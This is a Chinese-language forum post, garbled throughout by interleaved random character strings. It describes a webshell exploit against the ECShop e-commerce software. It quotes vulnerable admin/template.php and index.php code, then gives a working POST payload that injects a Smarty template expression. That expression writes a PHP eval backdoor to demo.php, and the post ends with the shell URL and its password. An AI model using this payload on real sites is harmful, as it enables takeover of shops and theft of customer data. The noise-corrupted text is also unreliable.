首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
8 Z5 B3 W/ c$ o9 y+ ~( c, Q5 t; X0 B$ q, _; F5 T9 M3 ?% A% h
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
/ g! j- v9 j2 {, ~* q但是ecshop似乎不支持{php}{/php}这个标签来执行php代码/ {# |8 k% b4 s+ q; M* C
admin/template.php
! q* w& L. M( i% {
0 L$ L E+ w; \- |1 if ($_REQUEST['act'] == 'update_library') p' }; J6 `/ F) `
/ I5 D( n( l$ [3 D. N2
, `0 Z7 P' p) ~# m* F; f' J3 ]# d' c& A! N6 ?) y/ c) _" Y
3 {
; S2 S% K' W1 _" @' J
3 t7 d: Y# w4 i6 v4 check_authz_json('library_manage');
7 A0 R6 g J' ?7 Z' ]/ x' t3 W: {+ y, y, `5 Z9 j* @$ r- u/ z" p
5
" t9 f, s5 H0 e! U: E
) S$ b' |( Y& R: I5 \6 $html = stripslashes(json_str_iconv($_POST['html'])); ) I/ i5 b# K9 r( |
! R1 V7 [5 D& Z! C9 v' v
7
# B5 j7 x: v/ d1 S$ {( D. ]* |. W8 ^* M- f& }
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
+ I( @9 L) ]" h% o; a9 D
! u+ B- V1 n1 `( r9
) z4 @9 J N4 d# A, ^! Z
$ }4 X" I7 V3 q& _4 y10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 & t4 M0 C( E5 ^* R( U
$ k A# o8 v: h/ u2 P T
11
: @- \: M' o# Z$ ]1 d7 }2 [ J( I& J3 ]
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 3 b8 }6 U% X" r5 T+ H
5 k+ |1 v0 |5 F9 d13
* I5 |! v$ l3 n8 \9 Q& ~1 _' b( @# @, F$ {% k& r, N
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: m% V3 s& s" s1 v
& Q+ Y9 O' ]1 I- J5 X15 { $ ^5 _* E$ {4 Z
2 A! h7 `5 z1 l9 I16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 2 p. m: E3 i# c
) d% _- t d$ P4 _* x4 }17 make_json_result('', $_LANG['update_lib_success']);
$ n1 Y0 ?6 Y7 d. N7 v' g3 A
& y6 A9 H& t' {6 E$ R, H7 K- F18 } 9 o7 @+ o$ ^ \& I3 Q
: Y$ I7 ^" W. J4 u19 else
" n# I% b/ |% h& k; G! Q1 u5 q
; T0 _7 N+ S6 M) b2 T q6 v! k20 { - Q }- J" @- p7 o2 Q
& F( R, m( Y: [21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); " X3 f& ^! ]2 {- `) f; R+ H
5 b. R# x' G `+ T) z* z. M# o9 p
22 }
$ T' V. q: e/ }5 t
" Z5 O/ t; M. q: S2 s$ u23 }
" K- N; V! T( N6 f* z4 K# q8 k2 ]- r5 {
那么找个比较方便调用了模板的文件
0 D1 u' M9 e! V! H; u% o: kindex.php
8 n/ f0 L$ T% J
! E2 ?( a- k! u6 d( U1 if ($act == 'cat_rec') 8 M5 ` p0 T& y! a! L8 b0 {/ H: G
! V7 _8 [" z( J3 }
2 ; _# b" W' [9 |6 b4 h! s. y
+ o! N6 c% T# p, W3 { 0 \; L4 w, O/ h: j
+ `6 E6 s6 H+ H; G* }) E- c4 ! d6 N$ K( L5 P
& f; `# D, P: g! z( I$ B
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
; q. g7 w" \+ H5 W3 z8 y: E: b) b4 A6 |" m6 w/ x& P
6 3 W1 [/ u x3 v5 Y9 T
$ L* w; ^; R0 [$ l( N1 I! r; c7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 6 y5 K% y% z( Q e
) h1 t: X1 L @2 C3 R: [: ^
8 / O. m) D; k+ s) O) e8 [) m, E
' v p" m, q& P- r$ j
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
$ F! g6 e2 O* `7 ~4 o; ~
% ?+ Y, F2 r( ^6 o9 u( m* I10
/ }% Y3 G. m2 Q1 w& K/ y' ?2 J' r1 c1 F C; d3 d3 L! `
11 include_once('includes/cls_json.php'); % t0 H( d4 X2 s" B) _& c _. k
! |: r. o/ d- m12
2 a. E4 B" X- |6 O
2 F3 w' `+ V. }6 w' t9 \: H+ M13 $json = new JSON;
. O& a3 A, @% ~' Y+ `& `
( s, Y7 a& N" T: C14
( k& J. c5 H$ @/ g/ `& n0 B5 O& k$ u4 i# ^$ M$ g# b+ Z/ L
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 8 U# p3 n2 T; G8 Q5 |6 z' T
5 ]+ t) q" v0 d2 \& D0 i- x4 r16
r5 i2 C: B2 e* |0 l
h! \% I- |* r% Z17 $children = get_children($cat_id); 7 l# _. D" D& m( i3 l. S0 j: _3 N
- b* r! ~1 L1 g3 Q0 ]18
* G4 S2 C5 u5 w
^& b6 m# J" z3 E( j19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 ' H. {$ M& J0 [. V7 W" ]6 y/ z& {" w
, Z- C6 m4 h) ]2 C
20
4 L' [$ u- H8 d# v% u$ ?7 |0 [
8 M* m. ^* ~% |4 Y* m21 $smarty->assign('cat_rec_sign', 1); 2 B+ Y& j* e8 Z" V, j. Q5 [2 H
4 r: c$ \2 [4 \' }
22 % l% a, R' o9 F+ \. O/ T% @
) a P2 B; Z# ?2 f. Q
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
8 @' V7 z# s0 M+ \4 J5 U0 `
7 O3 B, g# J4 n4 T/ N# q24
1 l7 J' Q: y4 r7 _- n6 s7 T+ L3 W
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 2 ]) d- a) G+ ~# V; s, t8 B1 Y
$ {. ?( t' M0 E& u! S5 _26 . W# `& b& e; ?
, l$ g% e% U& R: D0 ?8 |% D6 P27 echo $rec_array[$rec_type];
7 g' t0 l0 Y# D. m$ F0 E: P
% f4 _3 N$ D v! j- h' D28 ; { _# W8 k/ S* r
7 H1 q; L& ?" n29 die($json->encode($result)); 0 I+ r* [4 R$ l! D4 i
: A7 N0 E5 S$ _) r; E
30 - M* E* Y3 Y w
! o0 C k3 m# O! p9 h
31 } ; x8 A5 u7 `1 L( Z
; {3 ~: h" Q6 N( ?那么就有利用方法了+ Q& z+ i. g3 K1 b0 ]
post包到http://localhost/ec/admin/template.php?act=update_library
0 A* j2 A* _6 R2 T7 X% RPost内容:* P2 r( K. M1 l* p! E! J; u, L9 @1 p
! p6 c* [! E2 \& ?5 X" k
2 \( ^: v% ]* M& r8 u$ t1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} % z" x, M+ B- M: M W2 f/ X
) @0 S8 C0 w9 l- D4 X: t: f
然后访问http://localhost/ec/index.php?act=cat_rec2 `( M& o2 E+ {& H8 k
: M/ s. n' K5 y0 r9 T9 D" _2 Bshel地址:http://localhost/ec/demo.php
) c6 `; ^6 j: f: T9 U密码c6 g3 g- V/ P# [
/ r0 q8 A! B- Y" V |